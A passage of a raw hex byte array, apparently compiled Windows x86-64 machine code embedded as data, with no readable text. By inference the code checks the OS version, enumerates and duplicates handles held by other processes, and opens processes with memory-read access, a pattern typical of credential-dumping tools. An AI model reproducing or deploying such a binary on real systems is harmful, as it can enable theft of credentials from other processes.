x00,0x48,0x89,0xC1,0xE8,0x5E,0xDA,0xFF,0xFF,0x48,0x8D,0x05,0x15,0xA9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4F,0xDA,0xFF,0xFF,0xEB,0x60,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x3C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0x83,0x00,0x00,0x48,0x8B,0x05,0x1B,0x25,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x1B,0x25,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0x82,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0xC3,0x24,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC7,0x24,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x62,0x24,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5B,0x24,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x2B,0x01,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x85,0xA7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x10,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0x04,0x01,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0x96,0x0B,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xEA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x7C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x70,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x61,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x20,0x48,0x8D,0x05,0xB1,0xA6,0x00,0x00,0x48,0x89,0xC1,0xE8,0x19,0xD8,0xFF,0xFF,0x48,0x8D,0x05,0xD0,0xA6,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0A,0xD8,0xFF,0xFF,0xEB,0x60,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x3C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE5,0x80,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0xD2,0x22,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD6,0x22,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x91,0x80,0x00,0x00,0x48,0x8B,0x05,0x82,0x22,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x82,0x22,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x16,0x22,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x0F,0x22,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x24,0x01,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x50,0xA5,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD3,0x0D,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0x04,0x01,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0x51,0x09,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xEA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x7C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x70,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x61,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x20,0x48,0x8D,0x05,0x6C,0xA4,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD4,0xD5,0xFF,0xFF,0x48,0x8D,0x05,0x8B,0xA4,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC5,0xD5,0xFF,0xFF,0xEB,0x60,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x3C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA0,0x7E,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0x8D,0x20,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x91,0x20,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4C,0x7E,0x00,0x00,0x48,0x8B,0x05,0x3D,0x20,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3D,0x20,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x66,0x0F,0xD6,0x45,0xF0,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x38,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8E,0x38,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x3B,0x8B,0x45,0xC4,0x23,0x45,0x18,0x39,0x45,0x18,0x75,0x09,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x15,0xA3,0x00,0x00,0x48,0x89,0xC1,0xE8,0x25,0xD4,0xFF,0xFF,0x48,0x8D,0x05,0xDC,0xA2,0x00,0x00,0x48,0x89,0xC1,0xE8,0x16,0xD4,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x68,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xF0,0x48,0x8B,0x45,0x10,0xC7,0x44,0x24,0x30,0x02,0x00,0x00,0x00,0x8B,0x55,0x18,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x89,0x37,0x00,0x00,0x89,0x45,0xFC,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB4,0x33,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0x8E,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x75,0x07,0xC7,0x45,0xFC,0x02,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x10,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x40,0x00,0x00,0x00,0x49,0x89,0xD1,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xD9,0x36,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x42,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0xE8,0x8B,0x55,0xFC,0x89,0x54,0x24,0x30,0x8B,0x55,0x20,0x89,0x54,0x24,0x28,0x8B,0x55,0x18,0x89,0x54,0x24,0x20,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x9A,0x36,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0x10,0x00,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB4,0x32,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x9F,0x32,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x80,0x04,0x00,0x00,0xEB,0x05,0xB8,0x80,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE8,0xE7,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0xBD,0x88,0x00,0x00,0x00,0x00,0x75,0x09,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x89,0x45,0xDC,0x48,0x83,0x7D,0x10,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE1,0x01,0x00,0x00,0x83,0x7D,0x30,0x00,0x74,0x0E,0xC7,0x45,0x28,0x01,0x00,0x00,0x00,0xC7,0x45,0x20,0x01,0x00,0x00,0x00,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x07,0xC7,0x45,0x20,0x01,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x04,0x83,0x4D,0xE8,0x02,0x83,0x7D,0x70,0x00,0x75,0x06,0x83,0x7D,0x78,0x00,0x74,0x10,0x83,0x7D,0xDC,0x00,0x75,0x0A,0xE8,0xA9,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0xEB,0x11,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x08,0xE8,0xE3,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x89,0x45,0xE0,0x83,0x7D,0x28,0x00,0x74,0x07,0xC7,0x45,0xEC,0x00,0x10,0x00,0x00,0x44,0x8B,0x4D,0x38,0x44,0x8B,0x45,0x20,0x8B,0x55,0xEC,0x8B,0x45,0x18,0x8B,0x4D,0xE8,0x89,0x4C,0x24,0x30,0x8B,0x4D,0x48,0x89,0x4C,0x24,0x28,0x8B,0x4D,0x40,0x89,0x4C,0x24,0x20,0x89,0xC1,0xE8,0x4C,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x08,0x01,0x00,0x00,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xB9,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0xEF,0x00,0x00,0x00,0x83,0x7D,0x28,0x00,0x74,0x41,0x8B,0x4D,0xE8,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC3,0xFC,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xC8,0x00,0x00,0x00,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x73,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x75,0x52,0xE9,0xB8,0x00,0x00,0x00,0x83,0x7D,0x70,0x00,0x75,0x0F,0x83,0x7D,0x78,0x00,0x75,0x09,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x38,0x83,0x7D,0xDC,0x00,0x74,0x32,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xE2,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x79,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x21,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x64,0x83,0x7D,0x70,0x00,0x74,0x1A,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xEF,0x0B,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x83,0x7D,0x78,0x00,0x74,0x1E,0x48,0x8B,0x95,0x80,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xB6,0x0C,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x26,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x13,0x48,0x83,0x7D,0xF0,0x00,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x5B,0x2F,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x7D,0x38,0x00,0x75,0x61,0x83,0x7D,0x20,0x00,0x74,0x19,0x8B,0x4D,0x40,0x8B,0x55,0x18,0x8B,0x45,0x10,0x41,0x89,0xC8,0x89,0xC1,0xE8,0x7C,0x07,0x00,0x00,0x48,0x89,0x45,0xF8,0xEB,0x42,0x83,0x7D,0x28,0x00,0x75,0x3C,0x83,0x7D,0x30,0x00,0x75,0x36,0x83,0x7D,0x10,0x00,0x74,0x1F,0x8B,0x4D,0x40,0x8B,0x55,0x18,0x8B,0x45,0x10,0x41,0x89,0xC9,0x41,0xB8,0x00,0x00,0x00,0x00,0x89,0xC1,0xE8,0xB1,0x00,0x00,0x00,0x48,0x89,0x45,0xF8,0xEB,0x11,0x8B,0x55,0x40,0x8B,0x45,0x18,0x89,0xC1,0xE8,0x0E,0x00,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x44,0x8B,0x45,0x18,0x8B,0x55,0x10,0x48,0x8D,0x4D,0xF0,0x48,0x89,0x4C,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDA,0x2D,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x1A,0x00,0x00,0x80,0x75,0x25,0x48,0x8D,0x05,0x82,0x9D,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5A,0xCE,0xFF,0xFF,0x48,0x8D,0x05,0x11,0x9D,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4B,0xCE,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x21,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x14,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x76,0xE9,0xFF,0xFF,0x85,0xC0,0x74,0x90,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8B,0x45,0x28,0x89,0x45,0xD8,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x4C,0x8D,0x45,0xB0,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0x18,0x48,0x8D,0x45,0xF0,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xA1,0x2C,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x0B,0x00,0x00,0xC0,0x75,0x30,0x83,0x7D,0x20,0x00,0x75,0x23,0x8B,0x45,0x10,0x89,0xC2,0x48,0x8D,0x05,0xE0,0x9C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x70,0xCD,0xFF,0xFF,0x48,0x8D,0x05,0x27,0x9C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x61,0xCD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4A,0x81,0x7D,0xFC,0x22,0x00,0x00,0xC0,0x75,0x30,0x83,0x7D,0x20,0x00,0x75,0x23,0x8B,0x45,0x10,0x89,0xC2,0x48,0x8D,0x05,0xCF,0x9C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x37,0xCD,0xFF,0xFF,0x48,0x8D,0x05,0xEE,0x9B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x28,0xCD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x11,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,